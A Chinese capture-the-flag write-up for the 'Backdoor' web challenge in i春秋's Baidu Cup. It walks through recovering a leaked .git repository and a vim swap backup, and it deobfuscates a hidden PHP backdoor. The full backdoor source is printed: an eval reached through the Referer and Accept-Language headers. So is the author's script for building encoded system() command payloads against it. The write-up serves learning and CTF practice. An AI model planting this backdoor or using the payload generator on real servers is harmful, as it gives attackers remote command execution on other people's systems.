i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

0x00:

打开题目，题目中告诉我们这题是文件泄露。

0x01:

通过扫描目录，发现可以扫到的有3个文件

index.php 
flag.php 
robots.txt

但是浏览flag.php它告诉我们这不是真正的flag

又联系到题目文件泄露，于是测试.swp .swo .bak等备份文件后缀均无果。最后发现是.git泄露。

我们浏览这个url

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/.git/

注意到这里返回的是403（请求被拒绝），而不是404（访问无效）。那么这里就可以利用git泄露的脚本下载下来源文件。

这里使用的是rip-git.pl这个脚本，github地址：https://github.com/kost/dvcs-ripper

注：这里用rip-git.pl下载下来的文件是可以查看它上传github的历史记录的。而Githack这个工具虽然能下载文件，但是不能查看历史记录

查看flag.php

查看flag.php的日志

git log flag.php

可以看到他修改了很多次flag.php这个文件，我们回查一下上一次的修改时的内容

git diff 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 flag.php

commit的值是test那次的值，可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}

0x02:

上面那个flag还不是真正的flag，于是我们访问flag提示的文件

http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/b4ckdo0r.php

得到下面信息，查看源码也啥都没有：

最后测出来是.swo文件备份，我们把备份下载下来

因为打开是乱码，我把它在下载好后，拖到我的kali虚拟机的桌面上，然后用vim打开备份文件的方式打开

vim -r .b4ckdo0r.php.swo

因为为了研究这个代码，又没法更改备份文件，我们用vim的复制功能把这里面的内容复制到一个新的php文件里面，然后放回我的windows下（因为我很喜欢用windows）

这个代码是混淆过的，但主要看$y和$L和$v这3个变量，分别对应的是

$y = create_function  //这里去掉了字符串中的字母b

$L = 把上面的如 $c, $f等字符串变量中的“)m“给去掉

$v = create_function('', $L); 这里是生成一个不带参数的匿名函数，函数内容就是$L的内容。

然后运行$v()函数

根据这个逻辑解开混淆后$L的内容：

把内容打印到我们本地搭建的服务器上，然后查看源码,并整理下就是b4ckdo0r.php源码内容

注意:这里一定要看源码，因为中间有一部分"<"被当做html的标签了，没法完整显示

web本来的页面这里的代码很奇怪

查看源码发现原因，是因为<被当做标签起始了

整理后源码如下:

<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m) {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for($z=1; $z<count($m[1]); $z++)
            $p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0) {
            $s[$i]=""; $p=$ss($p,3);
        }
        if(array_key_exists($i,$s)) {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e) {
                $k=$kh.$kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

解释一下这里的代码（因为我比较菜，通过每一步把变量输出，最后弄清楚搞了3个小时左右）

x($t, $k)函数是个异或函数，第一个参数和第二个参数按位对应异或，如果第二个参数全部异或了一遍，第一个还没结束，又从第二个参数头部从头开始。

$rr是通过http报头的Referer参数传入，我们可控

$rs是通过http报头的accept-language参数传入，我们可控

这里先介绍下accpet-language吧，举个栗子

这里的zh-CN是默认语言，之后每个值以“，（逗号）”隔开，格式为“ 语言;q=权重 ”

那么preg_match_all这个正则所做的事，看着很复杂，我们直接把他输出到自己服务器的web上吧

是一个二维数组，然后$i会取[1][0]和[1][1]的组合值

$h和f分别是 ($i . $kh)和($i . $kf)的md5值的前3个字符这里算出来是675和a3e

这一段代码会看language的语言有多少个，然后$p是以权重的小数部分值为下标，然后取Referer的url中的对应下标的参数的值的组合

这里举个例子，a=1中的1 就是$q[$m[2][0]]，b=2中的2 就是$q[$m[2][1]]

然后就是判断$p这个变量前3个是不是675，后3个是不是a3e，最后我们的构造为 "675 + payload + a3e"

然后就是传到eval函数里面了，这里我们要通过eval函数来读目录，然后查看flag

eval中用了很多编码方式，也用到了自定的x($t, $k)这个异或函数，我们依次测试下顺序，就能正确的生成我们的payload，来构造system("ls");

这里异或的规律

a = b ^ c那么 b = a ^ c;这是一个很简单的规律，所以x函数即使编码函数，也是解码函数

最后附上我生成payload和解码返回值的内容的php代码

<?php

function x($t,$k) {
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, '4f7f28d7');
    $str = gzuncompress($str);
    echo $str . "<br>";
}

function input($cmd){
    $str = 'system("' . $cmd . '");';
    $t1 = gzcompress($str);
    echo '$t1 = ' . $t1 . "<br>";
    $t2 = x($t1, '4f7f28d7');
    echo '$t2 = ' . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo '$t3 = ' . $t3 . "<br>";
    return $t3;
}

$ra='zh-CN,zh;q=0.0';
input('ls');
//get_answer('');

?>

把命令输入input里面，运行这个php脚本就会生成ls命令的payload，而我们accep-language所填内容为 'zh-CN,zh;q=0.0'

于是我们第一次的payload为：

将返回内容填到我们的脚本中，生成解码后的内容

然后生成cat this_i5_flag.php的payload，最后flag在源码中

注：这里我审计代码的时候是采用比较笨的方法，因为源码我们下载了下来，那么我么就可以任意修改，我是把每个地方有值的变化，就直接输出出来，方便更加透彻的理解流程。